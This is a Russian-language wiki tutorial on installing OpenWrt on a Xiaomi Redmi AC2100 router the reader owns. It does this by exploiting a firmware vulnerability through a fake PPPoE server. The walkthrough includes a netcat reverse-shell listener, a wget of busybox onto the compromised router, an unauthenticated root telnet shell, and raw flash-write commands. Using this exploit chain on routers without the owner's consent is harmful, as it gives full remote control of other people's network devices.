Table of Contents

https://openwrt.org/toh/xiaomi/xiaomi_redmi_router_ac2100

Прошивка роутера Xiaomi Redmi AC2100 из Ubuntu 20.04

Как это работает.
Есть два скрипта:

После получения shell'а мы скопируем туда busybox, затем с его помощью запустим сервер telnet.
Потом - подключимся туда клиентом telnet и прошьем то что нам нужно.

Установим софт, скачаем скрипты и OpenWrt

На хосте, с которого прошиваем роутер долджен быть установлен python3.8 (скорее всего и с более старыми все заработает) - с более новыми возможны проблемы, решение которых приведено в конце статьи.
Итак, выполняем:

mkdir ./ac2100 && cd ./ac2100
sudo python -m pip install --upgrade pip
sudo pip3 install scapy
wget https://busybox.net/downloads/binaries/1.31.0-defconfig-multiarch-musl/busybox-mipsel -O busybox

wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin

wget https://wiki.autosys.tk/_media/openwrt/ac2100_scripts.tar.gz
tar -xvf ./ac2100_scripts.tar.gz

В директории, в которой находятся имиджи OpenWrt, нужно запустить HTTP-сервер, чтобы можно было скачать имиджи в роутер:

sudo python -m http.server 80

Взлом роутера

Подключаем один из LAN-портов Redmi AC2100 к хосту с помощью патчкорда.
Вторым патчкордом соединяем WAN-порт с одним из LAN-портов.
На сетевом интерфейсе хоста, к которому подключен Redmi AC2100 прописываем адрес 192.168.31.177. Это важно, поскольку именно на этот адрес будет подключаться роутер после применения эксплоита.
В pppoe-simulator.py прописываем свой ethernet-интерфейс (в строке interface = “…“) и запускаем:

chmod +x ./pppoe-simulator.py
sudo python3 ./pppoe-simulator.py

Теперь - идем в web-интерфейс роутера по адресу http://192.168.31.1 и жмем большую синюю кнопку. Роутер сам обнаружит, что ему доступен PPPoE-сервис и предложит ввести логин и пароль. Вводим любые логин/пароль (например и там и там 123) и подключаемся. В окне с pppoe-simulator.py увидим, что роутер подключился.
Открываем еще одно терминала и запускаем netcat - фактически сервер, к которому подключится взломанный роутер, чтобы получать shell-команды:

sudo netcat -nvlp 31337

В результате по нашему адресу 192.168.31.177 на порту 31337 должен быть доступен сокет. Адрес и порт менять нельзя - они захардкожены в эксплоите.
Теперь - в скрипте cve.py прописываем наш интерфейс (в строке interface = ”…“) и в строке с условием определения адреса жертвы первые шесть символов (можно и весь) мак-адрес роутера, написанный на стикере на его брюхе.

if src.startswith("your:router:mac")

и выполняем эксплоит:

sudo python3 ./cve.py

Он выдаст примерно такое:

sessionid:246
src:00:00:00:00:0b:6f
dst:28:d1:27:dc:20:58
.
Sent 1 packets.

В результате через пару секунд в окне с запущенным netcat должна появиться строка:

Connection received on 192.168.31.1 45500

Это значит, что shell полулчен и можно выполнять команды!!! Команды вводить прямо в окне netcat после строки Connection received …
Наша цель - запустить сервер telnet. Если в процессе ввода команд shell отвалится (netcat закроется), то netcat надо перезапустить и еще раз запустить cve.py.
После запуска telnet соединени будет стабильно. Чтобы запустить telnet выполняем:

wget http://192.168.31.177/busybox -O /tmp/busybox
chmod +x /tmp/busybox
/tmp/busybox telnetd -l /bin/sh

Теперь на роутере работает сервер telnet и к нему можно подключиться. Запускаем telnet:

telnet

И вводим команду:

o 192.168.31.1

В итоге должны увидеть такое:

telnet> o 192.168.31.1
Trying 192.168.31.1...
Connected to 192.168.31.1.
Escape character is '^]'.

BusyBox v1.19.4 (2019-12-26 08:38:38 UTC) built-in shell (ash)
Enter 'help' for a list of built-in commands.

/lib/netifd/proto #

И теперь собственно прошивка:

wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-kernel1.bin -O /tmp/kernel1.bin
wget http://192.168.31.177/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-rootfs0.bin -O /tmp/rootfs0.bin

# Enable uart and bootdelay, useful for testing or recovery if you have an uart adapter!
nvram set uart_en=1
nvram set bootdelay=5
# Set kernel1 as the booting kernel
nvram set flag_try_sys1_failed=1
# Commit our nvram changes
nvram commit
# Flash the kernel
mtd write /tmp/kernel1.bin kernel1
mtd -r write /tmp/rootfs0.bin rootfs0

В итоге - роутер должен сам перезагрузиться в OpenWrt.
Дальше - подключаем роутер кабелем интернету, на компе выставляем получение адреса по DHCP (в итоге OpenWrt должен выдать нам адрес из подсети 192.168.1.0/24) логинимся в него по ssh (без пароля):

ssh root@192.168.1.1

Устанавливаем на него web-интерфейс luci:

opkg update
opkg install luci

Всё. Дальше можно идти в web-морду и настраивать всё как обычно!

Обновление

Для обновления - скачиваем отсюда https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin и прошиваем.
Не забываем, что в образах нету luci и после прошивки потребуется ее переустановить:

opkg update
opkg install luci

Ну и переустановить и перенастроить те пакеты, которые вы использовали.
В моем случае - haproxy:

opkg install haproxy

Обновление CLI

cd /tmp
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin
wget https://downloads.openwrt.org/snapshots/targets/ramips/mt7621/sha256sums
sha256sum -c sha256sums 2> /dev/null | grep OK
sysupgrade -v -k openwrt-ramips-mt7621-xiaomi_redmi-router-ac2100-squashfs-sysupgrade.bin

Если в системе python 3.9 и новее

Если у вас в системе установлен python 3.9 или более новый (как, например, в моей Ubuntu 21.04) , то запуск pppoe-simulator.py приведет к ошибке:

Waiting for packets
Traceback (most recent call last):
  File "/home/mike/ac2100/./pppoe-simulator.py", line 183, in <module>
    sniff(prn=packet_callback, filter="pppoed or pppoes", lfilter=isNotOutgoing)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1263, in sniff
    sniffer._run(*args, **kwargs)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sendrecv.py", line 1210, in _run
    session.on_packet_received(p)
  File "/usr/local/lib/python3.9/dist-packages/scapy/sessions.py", line 108, in on_packet_received
    result = self.prn(pkt)
  File "/home/mike/ac2100/./pppoe-simulator.py", line 63, in packet_callback
    for tag in pkt[PPPoED][PPPoED_Tags].tag_list:
  File "/usr/local/lib/python3.9/dist-packages/scapy/packet.py", line 1344, in __getitem__
    raise IndexError("Layer [%s] not found" % name)
IndexError: Layer [PPPoED_Tags] not found

Для того, чтобы запустить pppoe-simulator.py нужно установить python3.8 и запускать скрипт pppoe-simulator.py в нем.

Установка python3.8 рядом с python3.9

wget https://www.python.org/ftp/python/3.8.7/Python-3.8.7.tgz
tar -xvzf ./Python-3.8.7.tgz 
cd Python-3.8.7/
./configure --enable-optimizations
sudo make clean
sudo make -j8
sudo make altinstall
sudo python3.8 -m pip install --upgrade pip
sudo python3.8 -m pip install scapy

и запускаем

sudo python3.8 ./pppoe-simulator.py

Также возможна такая ошибка:

FileNotFoundError: [Errno 2] No such file or directory: b'liblibc.a'

которая лечится так:

cd /usr/lib/x86_64-linux-gnu/
sudo ln -s -f libc.a liblibc.a